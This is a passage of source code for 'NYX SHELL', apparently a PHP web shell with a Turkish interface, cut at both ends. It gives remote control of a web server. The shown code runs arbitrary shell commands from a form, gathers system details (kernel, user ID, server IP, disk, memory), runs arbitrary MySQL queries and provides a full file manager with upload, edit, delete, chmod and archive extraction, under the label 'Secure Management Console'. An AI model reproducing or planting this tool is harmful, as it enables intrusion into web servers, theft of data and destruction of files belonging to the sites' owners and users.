$actionOutput = '$ ' . $cmd . "\n" . str_repeat('─', 60) . "\n" . ($r['output'] !== '' ? $r['output'] : '(cikti yok)') . "\n\n[exit code: " . $r['code'] . ']';
}
}
if (isset($_POST['nx_search'])) {
$term = trim((string)($_POST['search_term'] ?? ''));
if ($term === '') {
$actionOutput = 'Arama terimi bos.';
} else {
$pattern = '*' . $term . '*';
$cmd = 'find ' . escapeshellarg(NX_PATH) . ' -maxdepth 3 -iname ' . escapeshellarg($pattern) . ' 2>/dev/null';
$r = nx_run($cmd);
$actionOutput = 'Arama: ' . $term . "\n" . str_repeat('─', 60) . "\n" . ($r['output'] !== '' ? $r['output'] : 'Sonuc yok.');
}
}
if (isset($_POST['nx_sysinfo'])) {
$isWin = stripos(PHP_OS, 'WIN') === 0;
$u = nx_user_info();
$p = [];
$p[] = 'SISTEM BILGILERI';
$p[] = str_repeat('─', 60);
$p[] = 'Kernel : ' . php_uname();
$p[] = 'OS : ' . php_uname('s') . ' ' . php_uname('r');
$p[] = 'Hostname : ' . php_uname('n');
$p[] = 'PHP : ' . PHP_VERSION;
$p[] = 'Server : ' . ($_SERVER['SERVER_SOFTWARE'] ?? 'Bilinmiyor');
$p[] = 'Server IP : ' . nx_server_ip();
$p[] = 'Kullanici : ' . $u['user'];
$p[] = 'ID : ' . $u['id'];
$p[] = '';
if (!$isWin) {
$p[] = 'DISK';
$p[] = str_repeat('─', 60);
$p[] = (nx_run('df -h 2>/dev/null')['output'] ?: '(yok)');
$p[] = '';
$p[] = 'BELLEK';
$p[] = str_repeat('─', 60);
$p[] = (nx_run('free -h 2>/dev/null')['output'] ?: '(yok)');
}
$actionOutput = implode("\n", $p);
}
if (isset($_POST['nx_db_query'])) {
$host = trim((string)($_POST['db_host'] ?? ''));
$user = (string)($_POST['db_user'] ?? '');
$pass = (string)($_POST['db_pass'] ?? '');
$name = trim((string)($_POST['db_name'] ?? ''));
$q = trim((string)($_POST['db_query'] ?? ''));
if (!function_exists('mysqli_connect')) {
$actionOutput = 'MySQLi yok.';
} elseif ($host === '' || $q === '') {
$actionOutput = 'Host ve sorgu zorunlu.';
} else {
$conn = @mysqli_connect($host, $user, $pass, $name);
if (!$conn) {
$actionOutput = 'Baglanti hatasi: ' . mysqli_connect_error();
} else {
@mysqli_set_charset($conn, 'utf8mb4');
$res = @mysqli_query($conn, $q);
if ($res === false) {
$actionOutput = 'Sorgu hatasi: ' . mysqli_error($conn);
} elseif ($res instanceof mysqli_result) {
$fields = mysqli_fetch_fields($res);
$header = [];
foreach ($fields as $f) $header[] = $f->name;
$rows = [];
while ($row = mysqli_fetch_assoc($res)) $rows[] = $row;
$out = 'Sorgu OK — ' . count($rows) . ' satir' . "\n" . str_repeat('─', 60) . "\n";
$out .= implode(' | ', $header) . "\n";
$out .= str_repeat('─', max(60, (int)(mb_strlen(implode(' | ', $header)) * 1.1))) . "\n";
foreach ($rows as $row) {
$line = [];
foreach ($header as $h) $line[] = $row[$h] === null ? 'NULL' : (string)$row[$h];
$out .= implode(' | ', $line) . "\n";
}
$actionOutput = $out;
mysqli_free_result($res);
} else {
$actionOutput = 'Sorgu OK — ' . mysqli_affected_rows($conn) . ' satir etkilendi.';
}
mysqli_close($conn);
}
}
}
if (isset($_POST['nx_helper'])) {
$tool = (string)($_POST['helper_tool'] ?? '');
$input = (string)($_POST['helper_input'] ?? '');
$result = '';
switch ($tool) {
case 'b64e': $result = base64_encode($input); break;
case 'b64d': $d = base64_decode($input, true); $result = $d === false ? 'Gecersiz Base64' : $d; break;
case 'md5': $result = md5($input); break;
case 'sha1': $result = sha1($input); break;
case 'sha256': $result = hash('sha256', $input); break;
case 'urle': $result = urlencode($input); break;
case 'urld': $result = urldecode($input); break;
case 'hexe': $result = bin2hex($input); break;
case 'hexd': $d = @hex2bin($input); $result = $d === false ? 'Gecersiz Hex' : $d; break;
default: $result = 'Bilinmeyen arac';
}
$actionOutput = $tool . ":\n" . str_repeat('─', 60) . "\n" . $result;
}
if (isset($_POST['nx_clear'])) {
nx_set_msg('Cikti temizlendi.', 'info');
nx_redirect(NX_PATH);
}
}
$u = nx_user_info();
$csrfField = nx_csrf_field();
$editFile = isset($_GET['edit'], $_GET['file']) ? (string)$_GET['file'] : null;
$renameFile = isset($_GET['rename'], $_GET['file']) ? (string)$_GET['file'] : null;
?>
<!DOCTYPE html>
<html lang="tr">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NYX SHELL — <?php echo nx_escape(NX_PATH); ?></title>
<style>
:root{
--bg:#07090c;--panel:rgba(18,22,28,0.72);--panel-2:rgba(13,16,20,0.6);
--border:rgba(48,56,68,0.55);--border-h:rgba(74,158,255,0.35);
--text:#dfe4ea;--muted:#7c8695;--dim:#4a5262;
--accent:#4a9eff;--accent-h:#6fb3ff;
--danger:#e5484d;--success:#30a46c;--warn:#f5a524;
}
*{margin:0;padding:0;box-sizing:border-box}
html,body{min-height:100%}
body{
font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;
color:var(--text);font-size:13px;line-height:1.55;
background:#07090c;padding:16px;position:relative;min-height:100vh;
-webkit-font-smoothing:antialiased;
}
.bg{
position:fixed;inset:0;z-index:-3;
background:url("<?php echo nx_escape(NYX_BG_URL); ?>") center/cover no-repeat;
filter:brightness(0.22) contrast(1.15) saturate(0.7) blur(0.5px);
transform:scale(1.08);
}
.bg-overlay{
position:fixed;inset:0;z-index:-2;
background:
radial-gradient(ellipse at top,rgba(7,9,12,0.65) 0%,rgba(7,9,12,0.94) 55%,#07090c 100%),
linear-gradient(180deg,rgba(7,9,12,0.4) 0%,rgba(7,9,12,0.7) 100%);
}
.bg-grid{
position:fixed;inset:0;z-index:-1;pointer-events:none;
background-image:
linear-gradient(rgba(74,158,255,0.025) 1px,transparent 1px),
linear-gradient(90deg,rgba(74,158,255,0.025) 1px,transparent 1px);
background-size:52px 52px;
mask-image:radial-gradient(ellipse at center,black 0%,transparent 75%);
-webkit-mask-image:radial-gradient(ellipse at center,black 0%,transparent 75%);
}
.wrap{max-width:1600px;margin:0 auto;position:relative}
.panel{
background:var(--panel);
backdrop-filter:blur(22px) saturate(140%);-webkit-backdrop-filter:blur(22px) saturate(140%);
border:1px solid var(--border);border-radius:12px;
margin-bottom:11px;overflow:hidden;
box-shadow:
0 12px 40px rgba(0,0,0,0.5),
0 0 0 1px rgba(255,255,255,0.02) inset,
0 1px 0 rgba(255,255,255,0.03) inset;
position:relative;
}
.panel::before{
content:"";position:absolute;top:0;left:8%;right:8%;height:1px;
background:linear-gradient(90deg,transparent,rgba(74,158,255,0.35),transparent);
pointer-events:none;
}
.hdr{display:flex;justify-content:space-between;align-items:center;padding:14px 20px;flex-wrap:wrap;gap:12px}
.hdr-l{display:flex;align-items:center;gap:14px}
.logo{
width:42px;height:42px;border-radius:11px;
background:linear-gradient(135deg,#0d2440 0%,#1a4a8a 45%,#4a9eff 100%);
display:flex;align-items:center;justify-content:center;
color:#fff;font-weight:800;font-size:15px;letter-spacing:0.5px;
box-shadow:
0 8px 24px rgba(74,158,255,0.3),
0 0 0 1px rgba(74,158,255,0.35) inset,
0 1px 0 rgba(255,255,255,0.12) inset;
position:relative;
}
.logo::after{
content:"";position:absolute;top:2px;left:2px;right:2px;height:45%;
border-radius:9px 9px 50% 50%;
background:linear-gradient(180deg,rgba(255,255,255,0.15),transparent);
pointer-events:none;
}
.brand{font-size:15.5px;font-weight:700;color:#eef2f7;letter-spacing:1.4px}
.brand small{display:block;font-size:10.5px;color:var(--muted);font-weight:500;letter-spacing:0.8px;margin-top:3px}
.brand .live{
display:inline-flex;align-items:center;gap:6px;
font-size:9.5px;color:var(--muted);font-weight:600;
letter-spacing:1px;margin-left:8px;padding:2px 7px;
background:rgba(48,164,108,0.1);border:1px solid rgba(48,164,108,0.3);
border-radius:5px;vertical-align:middle;
}
.brand .live::before{
content:"";display:inline-block;width:5px;height:5px;border-radius:50%;
background:#30a46c;box-shadow:0 0 6px rgba(48,164,108,0.8);
animation:pulse 2s ease-in-out infinite;
}
@keyframes pulse{0%,100%{opacity:1}50%{opacity:0.4}}
.hdr-r{display:flex;gap:7px;flex-wrap:wrap}
.btn{
display:inline-flex;align-items:center;gap:7px;
background:rgba(35,40,48,0.75);color:var(--text);
border:1px solid var(--border);border-radius:8px;
padding:7px 14px;font-size:12px;font-family:inherit;
cursor:pointer;text-decoration:none;transition:all 0.18s;white-space:nowrap;
font-weight:500;
}
.btn:hover{background:#2a3038;border-color:var(--border-h);color:#eef2f7;transform:translateY(-1px)}
.btn:active{transform:translateY(0)}
.btn-danger{background:rgba(229,72,77,0.1);border-color:rgba(229,72,77,0.35);color:#ff8b90}
.btn-danger:hover{background:rgba(229,72,77,0.9);border-color:var(--danger);color:#fff}
.btn-primary{
background:linear-gradient(180deg,#3b8de8,#2563b8);
border-color:rgba(74,158,255,0.5);color:#fff;font-weight:600;
box-shadow:0 4px 14px rgba(37,99,184,0.3),0 1px 0 rgba(255,255,255,0.15) inset;
}
.btn-primary:hover{
background:linear-gradient(180deg,#4a9eff,#2f7cd1);
color:#fff;
box-shadow:0 8px 20px rgba(74,158,255,0.4),0 1px 0 rgba(255,255,255,0.2) inset;
}
.stats{display:flex;flex-wrap:wrap;gap:22px;padding:11px 20px;border-top:1px solid var(--border);font-size:11.5px;background:rgba(7,9,12,0.3)}
.stat{display:flex;gap:7px;align-items:center}
.stat b{color:var(--accent);font-weight:600;font-size:10.5px;letter-spacing:0.5px;text-transform:uppercase}
.stat span{color:var(--text);word-break:break-all;max-width:420px;font-family:"SF Mono",Monaco,Consolas,monospace;font-size:11.5px}
.crumb{padding:11px 20px;font-size:12px;background:rgba(7,9,12,0.5);border-top:1px solid var(--border);word-break:break-all}
.crumb a{color:var(--accent);text-decoration:none;transition:color 0.15s;padding:1px 3px;border-radius:3px}
.crumb a:hover{color:var(--accent-h);background:rgba(74,158,255,0.1)}
.crumb .sep{color:var(--dim);margin:0 4px}
.alert{padding:11px 20px;font-size:12.5px;border-radius:9px;margin-bottom:11px;border:1px solid transparent;display:flex;align-items:center;gap:10px}
.alert::before{font-size:15px;font-weight:700}
.alert-success{background:rgba(48,164,108,0.1);border-color:rgba(48,164,108,0.35);color:#5cd29a}
.alert-success::before{content:"✓"}
.alert-error{background:rgba(229,72,77,0.1);border-color:rgba(229,72,77,0.35);color:#ff8b90}
.alert-error::before{content:"⚠"}
.alert-info{background:rgba(74,158,255,0.08);border-color:rgba(74,158,255,0.3);color:#7cc1ff}
.alert-info::before{content:"ℹ"}
.toolbar{display:grid;grid-template-columns:repeat(auto-fit,minmax(280px,1fr));gap:11px;padding:14px 20px;border-bottom:1px solid var(--border)}
.toolbar form{display:flex;gap:7px;align-items:center}
.inp,.sel{
flex:1;background:rgba(7,9,12,0.7);border:1px solid var(--border);
color:var(--text);padding:8px 12px;border-radius:8px;
font-size:12px;font-family:inherit;outline:none;min-width:0;
transition:all 0.18s;
}
.inp:focus,.sel:focus{border-color:var(--border-h);background:rgba(7,9,12,0.85);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.inp::placeholder{color:#3d444f}
input[type=file]{
flex:1;background:rgba(7,9,12,0.5);border:1px solid var(--border);border-radius:8px;
color:var(--muted);font-size:11.5px;padding:5px 9px;font-family:inherit;
}
input[type=file]::file-selector-button{
background:rgba(35,40,48,0.8);border:1px solid var(--border);color:var(--text);
padding:4px 11px;border-radius:6px;cursor:pointer;margin-right:8px;
font-family:inherit;font-size:11px;transition:all 0.15s;
}
input[type=file]::file-selector-button:hover{background:#2a3038;border-color:var(--border-h)}
.tbl-wrap{overflow-x:auto}
table{width:100%;border-collapse:collapse;font-size:12px}
th,td{padding:10px 16px;text-align:left;border-bottom:1px solid var(--border);vertical-align:middle}
th{
background:rgba(7,9,12,0.6);color:var(--muted);font-weight:600;
font-size:10.5px;text-transform:uppercase;letter-spacing:0.8px;white-space:nowrap;
}
tr:last-child td{border-bottom:none}
tr{transition:background 0.12s}
tr:hover td{background:rgba(74,158,255,0.035)}
.name{max-width:420px;word-break:break-all;font-weight:500}
.name a{color:var(--accent);text-decoration:none;transition:color 0.15s}
.name a:hover{text-decoration:underline;color:var(--accent-h)}
.badge{
display:inline-block;padding:2.5px 8px;
background:rgba(35,40,48,0.8);border:1px solid var(--border);
border-radius:5px;font-size:10px;color:var(--muted);
text-transform:uppercase;letter-spacing:0.5px;font-weight:600;
}
.badge-dir{background:rgba(74,158,255,0.12);border-color:rgba(74,158,255,0.3);color:#7cc1ff}
.badge-php{background:rgba(160,110,220,0.12);border-color:rgba(160,110,220,0.3);color:#c1a0f0}
.badge-arc{background:rgba(245,165,36,0.12);border-color:rgba(245,165,36,0.3);color:#f5b84d}
.badge-img{background:rgba(48,164,108,0.12);border-color:rgba(48,164,108,0.3);color:#5cd29a}
.badge-cfg{background:rgba(229,72,77,0.12);border-color:rgba(229,72,77,0.3);color:#ff8b90}
.perm{
font-family:"SF Mono",Monaco,Consolas,monospace;font-size:11px;
color:var(--muted);cursor:pointer;padding:3px 8px;border-radius:6px;
transition:all 0.15s;border:1px solid transparent;letter-spacing:0.5px;
}
.perm:hover{background:rgba(74,158,255,0.1);color:var(--accent);border-color:var(--border-h)}
.size{color:var(--dim);font-size:10.5px;margin-left:7px;font-family:"SF Mono",Monaco,Consolas,monospace}
.acts{white-space:nowrap;text-align:right}
.acts a,.acts button{
background:transparent;border:1px solid transparent;color:var(--muted);
cursor:pointer;padding:4px 9px;border-radius:6px;font-size:11.5px;
text-decoration:none;display:inline-block;transition:all 0.15s;font-family:inherit;
font-weight:500;
}
.acts a:hover,.acts button:hover{background:rgba(74,158,255,0.1);color:var(--accent);border-color:var(--border-h)}
.acts .d:hover{background:rgba(229,72,77,0.1);color:#ff8b90;border-color:rgba(229,72,77,0.35)}
.acts form{display:inline}
.acts .sp{color:var(--dim);margin:0 3px;font-size:10px}
.editor{padding:20px}
.editor h3{font-size:14px;color:#eef2f7;margin-bottom:15px;font-weight:600;letter-spacing:0.3px}
.editor textarea{
width:100%;min-height:480px;
background:rgba(7,9,12,0.9);border:1px solid var(--border);
color:var(--text);padding:15px;border-radius:9px;
font-family:"SF Mono",Monaco,"Cascadia Code",Consolas,monospace;
font-size:12px;line-height:1.65;outline:none;resize:vertical;
transition:all 0.18s;
}
.editor textarea:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.editor textarea[readonly]{background:rgba(18,22,28,0.7);color:var(--muted)}
.form-in{padding:20px}
.form-in h3{font-size:14px;color:#eef2f7;margin-bottom:15px;font-weight:600}
.form-in input[type=text]{
width:100%;background:rgba(7,9,12,0.7);border:1px solid var(--border);
color:var(--text);padding:10px 14px;border-radius:9px;
font-size:13px;font-family:inherit;outline:none;transition:all 0.18s;
}
.form-in input[type=text]:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.acts2{display:flex;gap:9px;margin-top:15px;flex-wrap:wrap}
.sec{padding:15px 20px;border-top:1px solid var(--border)}
.sec summary{
cursor:pointer;font-size:13px;font-weight:600;color:#eef2f7;
padding:5px 0;list-style:none;display:flex;align-items:center;gap:9px;
user-select:none;transition:color 0.15s;letter-spacing:0.3px;
}
.sec summary::-webkit-details-marker{display:none}
.sec summary::before{
content:"▸";color:var(--muted);display:inline-block;
transition:transform 0.2s;font-size:11px;
}
.sec[open] summary::before{transform:rotate(90deg);color:var(--accent)}
.sec summary:hover{color:var(--accent)}
.grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(310px,1fr));gap:13px;margin-top:13px}
.card{
background:rgba(7,9,12,0.6);border:1px solid var(--border);
border-radius:10px;padding:15px;
transition:all 0.18s;
}
.card:hover{border-color:var(--border-h);box-shadow:0 4px 20px rgba(0,0,0,0.3)}
.card h4{
font-size:11px;color:var(--accent);font-weight:700;
margin-bottom:12px;text-transform:uppercase;letter-spacing:0.9px;
}
.card form{display:flex;flex-direction:column;gap:9px}
.card .row{display:grid;grid-template-columns:1fr 1fr;gap:9px}
.card .full{grid-column:1/-1}
.card textarea{
width:100%;background:rgba(18,22,28,0.8);border:1px solid var(--border);
color:var(--text);padding:8px 12px;border-radius:8px;
font-size:12px;font-family:inherit;outline:none;resize:vertical;
transition:all 0.18s;
}
.card textarea:focus{border-color:var(--border-h);box-shadow:0 0 0 3px rgba(74,158,255,0.12)}
.card button{
background:linear-gradient(180deg,#3b8de8,#2563b8);
border:1px solid rgba(74,158,255,0.5);
color:#fff;padding:9px 18px;border-radius:8px;cursor:pointer;
font-size:12px;font-family:inherit;font-weight:600;transition:all 0.18s;
box-shadow:0 4px 12px rgba(37,99,184,0.25);
}
.card button:hover{
background:linear-gradient(180deg,#4a9eff,#2f7cd1);
transform:translateY(-1px);
box-shadow:0 6px 18px rgba(74,158,255,0.35);
}
.card button:active{transform:translateY(0)}
.out{
background:rgba(3,5,8,0.9);border:1px solid var(--border);
border-radius:9px;padding:15px;margin-top:11px;
font-family:"SF Mono",Monaco,Consolas,monospace;
font-size:12px;color:#c8cdd4;white-space:pre-wrap;word-break:break-word;
max-height:500px;overflow:auto;line-height:1.6;
}
.out-wrap{padding:15px 20px}
.out-wrap h3{font-size:13px;color:#eef2f7;font-weight:600;margin-bottom:11px;letter-spacing:0.3px}
.out-acts{margin-top:11px;display:flex;gap:9px}
.foot{
text-align:center;padding:22px;font-size:11px;color:var(--dim);
margin-top:22px;border-top:1px solid var(--border);letter-spacing:0.5px;
}
.foot b{color:var(--muted);font-weight:600}
::-webkit-scrollbar{width:10px;height:10px}
::-webkit-scrollbar-track{background:transparent}
::-webkit-scrollbar-thumb{background:rgba(48,56,68,0.7);border-radius:5px;border:2px solid transparent;background-clip:content-box}
::-webkit-scrollbar-thumb:hover{background:rgba(124,134,149,0.6);background-clip:content-box}
@media(max-width:768px){
body{padding:8px;font-size:12px}
.hdr{flex-direction:column;align-items:stretch}
.toolbar{grid-template-columns:1fr}
th,td{padding:8px 11px}
.stats{flex-direction:column;gap:7px}
.stats .stat span{max-width:100%}
.grid{grid-template-columns:1fr}
.acts a,.acts button{padding:4px 7px;font-size:11px}
.card .row{grid-template-columns:1fr}
}
</style>
</head>
<body>
<div class="bg"></div>
<div class="bg-overlay"></div>
<div class="bg-grid"></div>
<div class="wrap">
<div class="panel">
<div class="hdr">
<div class="hdr-l">
<div class="logo">NX</div>
<div class="brand">NYX SHELL<span class="live">LIVE</span>
<small>v<?php echo NYX_VERSION; ?> · Secure Management Console</small>
</div>
</div>
<div class="hdr-r">
<a href="?p=<?php echo urlencode(nx_enc('/')); ?>" class="btn">⌂ Kok Dizin</a>
<a href="?p=<?php echo urlencode(nx_enc($scriptPath)); ?>" class="btn">▸ Betik Dizini</a>
<a href="?logout=1" class="btn btn-danger">⏻ Cikis</a>
</div>
</div>
<div class="stats">
<div class="stat"><b>Kullanici</b><span><?php echo nx_escape($u['user']); ?></span></div>
<div class="stat"><b>ID</b><span><?php echo nx_escape($u['id']); ?></span></div>
<div class="stat"><b>IP</b><span><?php echo nx_escape(nx_server_ip()); ?></span></div>
<div class="stat"><b>PHP</b><span><?php echo nx_escape(PHP_VERSION); ?></span></div>
</div>
</div>
<div class="panel">
<div class="crumb">
<?php
if (NX_PATH === '/' || NX_PATH === '') {
echo '<a href="?p=' . urlencode(nx_enc('/')) . '">/</a>';
} else {
echo '<a href="?p=' . urlencode(nx_enc('/')) . '">/</a>';
$parts = explode('/', trim(NX_PATH, '/'));
$built = '';
$isWin = isset($parts[0]) && preg_match('/^[A-Za-z]:$/', $parts[0]);
if ($isWin) {
$built = $parts[0];
echo '<span class="sep">/</span><a href="?p=' . urlencode(nx_enc($built)) . '">' . nx_escape($parts[0]) . '</a>';
array_shift($parts);
}
foreach ($parts as $p) {
if ($p === '') continue;
$built .= '/' . $p;
echo '<span class="sep">/</span><a href="?p=' . urlencode(nx_enc($built)) . '">' . nx_escape($p) . '</a>';
}
}
?>
</div>
</div>
<?php if ($message !== ''): ?>
<div class="alert alert-<?php echo nx_escape($messageType); ?>"><?php echo nx_escape($message); ?></div>
<?php endif; ?>
<?php if ($editFile !== null): ?>
<div class="panel">
<div class="editor">
<h3>Duzenle: <?php echo nx_escape($editFile); ?></h3>
<?php
$editPath = nx_safe_path(NX_PATH, $editFile);
if ($editPath === null || !is_file($editPath)) {
echo '<div class="alert alert-error">Dosya bulunamadi.</div>';
echo '<div class="acts2"><a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Geri</a></div>';
} elseif (!is_readable($editPath)) {
echo '<div class="alert alert-error">Dosya okunamiyor.</div>';
echo '<div class="acts2"><a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Geri</a></div>';
} else {
$canWrite = nx_writable($editPath);
$content = @file_get_contents($editPath);
if ($content === false) $content = '';
if (!$canWrite) echo '<div class="alert alert-info">Salt okunur mod.</div>';
echo '<form method="post">';
echo $csrfField;
echo '<input type="hidden" name="edit_file" value="' . nx_escape($editFile) . '">';
echo '<textarea name="edit_content"' . ($canWrite ? '' : ' readonly') . '>' . nx_escape($content) . '</textarea>';
echo '<div class="acts2">';
if ($canWrite) echo '<button type="submit" name="nx_edit_save" class="btn btn-primary">💾 Kaydet</button>';
echo '<a href="?p=' . urlencode(nx_enc(NX_PATH)) . '" class="btn">← Iptal</a>';
echo '</div></form>';
}
?>
</div>
</div>
<?php endif; ?>
<?php if ($renameFile !== null): ?>
<div class="panel">
<div class="form-in">
<h3>Yeniden Adlandir: <?php echo nx_escape($renameFile); ?></h3>
<form method="post">
<?php echo $csrfField; ?>
<input type="hidden" name="rename_original" value="<?php echo nx_escape($renameFile); ?>">
<input type="text" name="rename_new" value="<?php echo nx_escape($renameFile); ?>" required>
<div class="acts2">
<button type="submit" name="nx_rename" class="btn btn-primary">✓ Yeniden Adlandir</button>
<a href="?p=<?php echo urlencode(nx_enc(NX_PATH)); ?>" class="btn">← Iptal</a>
</div>
</form>
</div>
</div>
<?php endif; ?>
<?php if ($editFile === null && $renameFile === null): ?>
<div class="panel">
<div class="toolbar">
<form method="post" enctype="multipart/form-data">
<?php echo $csrfField; ?>
<input type="file" name="upload_file" required>
<button type="submit" name="nx_upload" class="btn btn-primary">↑ Yukle</button>
</form>
<form method="post">
<?php echo $csrfField; ?>
<input type="text" name="create_name" placeholder="Dosya/dizin adi" required class="inp">
<select name="create_type" class="sel" style="flex:0 0 95px">
<option value="file">Dosya</option>
<option value="dir">Dizin</option>
</select>
<button type="submit" name="nx_create" class="btn btn-primary">+ Olustur</button>
</form>
<form method="post">
<?php echo $csrfField; ?>
<input type="text" name="search_term" placeholder="Dosya ara..." required class="inp">
<button type="submit" name="nx_search" class="btn btn-primary">⌕ Ara</button>
</form>
</div>
<div class="tbl-wrap">
<table>
<thead>
<tr>
<th>Ad</th>
<th>Tur</th>
<th>Boyut</th>
<th>Izin</th>
<th style="text-align:right">Islemler</th>
</tr>
</thead>
<tbody>
<?php
if (!is_dir(NX_PATH) || !is_readable(NX_PATH)) {
echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#ff8b90">Dizin okunamiyor.</td></tr>';
} else {
$entries = @scandir(NX_PATH);
if ($entries === false) {
echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#ff8b90">Listelenemedi.</td></tr>';
} else {
$dirs = []; $files = [];
foreach ($entries as $e) {
if ($e === '.' || $e === '..') continue;
$full = NX_PATH . '/' . $e;
if (is_dir($full) && !is_link($full)) $dirs[] = $e;
else $files[] = $e;
}
sort($dirs, SORT_NATURAL | SORT_FLAG_CASE);
sort($files, SORT_NATURAL | SORT_FLAG_CASE);
$all = array_merge($dirs, $files);
if (empty($all)) {
echo '<tr><td colspan="5" style="text-align:center;padding:30px;color:#7c8695">Bos dizin.</td></tr>';
} else {
foreach ($all as $item) {
$full = NX_PATH . '/' . $item;
$isDir = is_dir($full) && !is_link($full);
$type = nx_type_label($item, $full);
$icon = nx_icon($item);
$perms = @fileperms($full);
$permShort = $perms === false ? '----' : substr(sprintf('%o', $perms), -4);
$permLong = nx_perms_str($perms);
$size = $isDir ? '—' : nx_fmt_size(@filesize($full));
$pEnc = urlencode(nx_enc(NX_PATH));
$fUrl = urlencode($item);
$fHtml = nx_escape($item);
$confirmMsg = nx_js_attr('Silinsin mi: ' . $item);
$extractMsg = nx_js_attr('Arsiv acilsin mi: ' . $item);
$badgeClass = 'badge';
if ($isDir) $badgeClass .= ' badge-dir';
elseif ($icon === 'PHP') $badgeClass .= ' badge-php';
elseif ($icon === 'ARC') $badgeClass .= ' badge-arc';
elseif ($icon === 'IMG') $badgeClass .= ' badge-img';
elseif ($icon === 'CFG') $badgeClass .= ' badge-cfg';
echo '<tr>';
echo '<td class="name">';
if ($isDir) {
$folderUrl = urlencode(nx_enc($full));
echo '<a href="?p=' . $folderUrl . '">' . $fHtml . '/</a>';
} else {
echo $fHtml;
}
echo '</td>';
echo '<td><span class="' . $badgeClass . '">' . nx_escape($type) . '</span></td>';
echo '<td><span class="size" style="margin:0">' . nx_escape($size) . '</span></td>';
echo '<td><span class="perm" title="' . nx_escape($permLong) . '" data-name="' . $fHtml . '" data-perm="' . nx_escape($permShort) . '">' . nx_escape($permShort) . '</span></td>';
echo '<td class="acts">';
if (!$isDir) {
echo '<a href="?edit=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Duzenle">✎ Duzenle</a>';
echo '<span class="sp">·</span>';
}
echo '<a href="?rename=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Yeniden adlandir">⇄ Adlandir</a>';
echo '<span class="sp">·</span>';
echo '<form method="post" data-confirm="' . $confirmMsg . '" style="display:inline">';
echo $csrfField;
echo '<input type="hidden" name="delete_name" value="' . $fHtml . '">';
echo '<button type="submit" name="nx_delete" class="d" title="Sil">✕ Sil</button>';
echo '</form>';
if (!$isDir) {
echo '<span class="sp">·</span>';
echo '<a href="?dl=1&file=' . $fUrl . '&p=' . $pEnc . '" title="Indir">↓ Indir</a>';
}
if (!$isDir && nx_is_archive($item)) {
echo '<span class="sp">·</span>';
echo '<form method="post" data-confirm="' . $extractMsg . '" style="display:inline">';
echo $csrfField;
echo '<input type="hidden" name="extract_name" value="' . $fHtml . '">';
echo '<button type="submit" name="nx_extract" title="Ac">⊞ Ac</button>';
echo '</form>';
}
if ($isDir) {
echo '<span class="sp">·</span>';
echo '<form method="post" style="display:inline">';
echo $csrfField;
echo '<input type="hidden" name="archive_name" value="' . $fHtml . '">';
echo '<input type="hidden" name="archive_type" value="zip">';
echo '<button type="submit" name="nx_archive" title="ZIP">🗜 ZIP</button>';
echo '</form>';
echo '<form method="post" style="display:inline">';
echo $csrfField;
echo '<input type="hidden" name="archive_name" value="' . $fHtml . '">';
echo '<input type="hidden" name="archive_type" value="tar">';
echo '<button type="submit" name="nx_archive" title="TAR.GZ">🗜 TAR</button>';
echo '</form>';
}
echo '</td></tr>';
}
}
}
}
?>
</tbody>
</table>
</div>
</div>
<div class="panel">
<details class="sec">
<summary>Gelismis Araclar</summary>
<div class="grid">
<div class="card">
<h4>Komut Calistir</h4>
<form method="post">
<?php echo $csrfField; ?>
<input type="text" name="command_input" placeholder="ls -la" required class="inp">
<button type="submit" name="nx_command">▶ Calistir</button>
</form>
</div>
<div class="card">
<h4>Sistem Bilgileri</h4>
<form method="post">
<?php echo $csrfField; ?>
<button type="submit" name="nx_sysinfo">ℹ Bilgileri Getir</button>
</form>
</div>
<div class="card">
<h4>Veritabani Sorgu</h4>
<form method="post">
<?php echo $csrfField; ?>
<div class="row">
<input type="text" name="db_host" placeholder="Host" value="localhost" class="inp">
<input type="text" name="db_user" placeholder="Kullanici" class="inp">
<input type="password" name="db_pass" placeholder="Sifre" class="inp">
<input type="text" name="db_name" placeholder="Veritabani" class="inp">
</div>
<textarea name="db_query" placeholder="SELECT * FROM tablo LIMIT 10" rows="3" class="full" required></textarea>
<button type="submit" name="nx_db_query">⛁ Sorgula</button>
</form>
</div>
<div class="card">
<h4>Kod Donusturucu</h4>
<form method="post">
<?php echo $csrfField; ?>
<select name="helper_tool" class="sel">
<option value="b64e">Base64 Encode</option>
<option value="b64d">Base64 Decode</option>
<option value="md5">MD5</option>
<option value="sha1">SHA1</option>
<option value="sha256">SHA256</option>
<option value="urle">URL Encode</option>
<option value="urld">URL Decode</option>
<option value="hexe">Hex Encode</option>
<option value="hexd">Hex Decode</option>
</select>
<input type="text" name="helper_input" placeholder="Girdi" class="inp">
<button type="submit" name="nx_helper">⇄ Donustur</button>
</form>
</div>
</div>
</details>
</div>
<?php endif; ?>
<?php if ($actionOutput !== ''): ?>
<div class="panel">
<div class="out-wrap">
<h3>Islem Ciktisi</h3>
<div class="out"><?php echo nx_escape($actionOutput); ?></div>
<div class="out-acts">
<form method="post">
<?php echo $csrfField; ?>
<button type="submit" name="nx_clear" class="btn">✕ Temizle</button>
</form>
</div>
</div>
</div>
<?php endif; ?>
<div class="foot">NYX SHELL v<?php echo NYX_VERSION; ?> · <b>Katane Arqeen</b> & <b>Real Arqeen</b></div>
</div>
<script>
(function(){
'use strict';
document.addEventListener('click', function(e){
var el = e.target.closest('.perm');
if (!el) return;
var name = el.getAttribute('data-name');
var cur = el.getAttribute('data-perm');
if (name === null) return;
var p = prompt('Yeni izin (ornek: 0644, 0755):', cur || '');
if (p === null || p === '') return;
if (!/^0?[0-7]{3}$/.test(p)) { alert('Gecersiz format.'); return; }
var csrf = document.querySelector('input[name="nx_csrf"]');
var csrfVal = csrf ? csrf.value : '';
var f = document.createElement('form');
f.method = 'post'; f.style.display = 'none';
var a = document.createElement('input'); a.type='hidden'; a.name='chmod_name'; a.value=name;
